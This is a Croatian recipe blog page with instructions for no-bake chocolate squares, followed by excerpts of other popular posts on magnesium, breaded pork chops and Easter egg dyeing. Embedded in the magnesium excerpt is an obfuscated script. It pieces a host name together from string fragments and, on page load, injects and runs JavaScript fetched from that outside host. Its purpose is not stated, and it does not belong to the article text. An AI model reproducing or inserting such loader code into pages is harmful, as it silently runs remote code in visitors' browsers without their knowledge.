BOGATE ČOKOLADNE KOCKE BEZ PEČENJA 🍫




Bogate čokoladne kocke bez pečenja 




Tijekom ljeta posljednje što želimo je paliti pećnicu. Ipak, želja za slatkim ne jenjava. Srećom, postoje slastice koje spajaju neodoljiv okus i jednostavnu pripremu bez pečenja. Otkrivamo recept za desert koji je savršeno rješenje za ljetne dane, a kombinira najbolje od brownija, fudgea i moussea, sve to na hrskavoj podlozi od keksa. Priprema je brza, a rezultat luksuzan.




Bogate čokoladne kocke bez pečenja 


Sastojci:

Za podlogu:

  • 255 g čokoladnih keksa
  • 115 g otopljenog neslanog maslaca
  • 1 žlica šećera
  • prstohvat soli

Za kremu:

  • 255 g nasjeckane tamne čokolade (70% kakaa)
  • 60 g neslanog maslaca
  • 1 konzerva (oko 400 g) zaslađenog kondenziranog mlijeka
  • 2 žličice instant kave u prahu
  • 2 žličice ekstrakta vanilije
  • pola žličice soli

Za glazuru:

  • 85 g nasjeckane tamne čokolade (70% kakaa)
  • 55 g neslanog maslaca

Za ukrašavanje:

  • krupna morska sol



Priprema:

Priprema korak po korak: Kalup obložite papirom za pečenje tako da papir visi preko dva ruba, što će olakšati vađenje. Za podlogu, u sjeckalici usitnite kekse te ih pomiješajte s otopljenim maslacem (115 g), šećerom i soli. Smjesu čvrsto utisnite po dnu kalupa i stavite u zamrzivač na 15 minuta.

Dok se podloga hladi, pripremite kremu. U velikoj zdjeli otopite 255 g čokolade s polovicom preostalog maslaca (oko 60 g). Zagrijavajte u mikrovalnoj pećnici u intervalima, miješajući dok smjesa ne postane glatka. Umiješajte zaslađeno kondenzirano mlijeko, instant kavu, vaniliju i sol. Prelijte smjesu preko ohlađene podloge i poravnajte. Stavite u hladnjak na otprilike jedan sat.

Za glazuru, otopite preostalih 85 g čokolade s drugom polovicom maslaca dok ne dobijete glatku smjesu. Prelijte je preko stisnute čokoladne kreme i ravnomjerno rasporedite. Vratite u hladnjak na još 30 minuta da se sve stisne.

Prije posluživanja, kolač pospite s malo krupne morske soli za savršen kontrast slatkog i slanog. Pomoću papira za pečenje izvadite ga iz kalupa na dasku za rezanje. Za savršeno uredne rezove, oštar nož uronite u toplu vodu i obrišite prije svakog reza. Ove bogate čokoladne kocke mogu se čuvati u zatvorenoj posudi u hladnjaku do tjedan dana, a odlično podnose i zamrzavanje. Savršen su izgovor da ne palite pećnicu i uživate u vrhunskoj čokoladnoj slastici.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više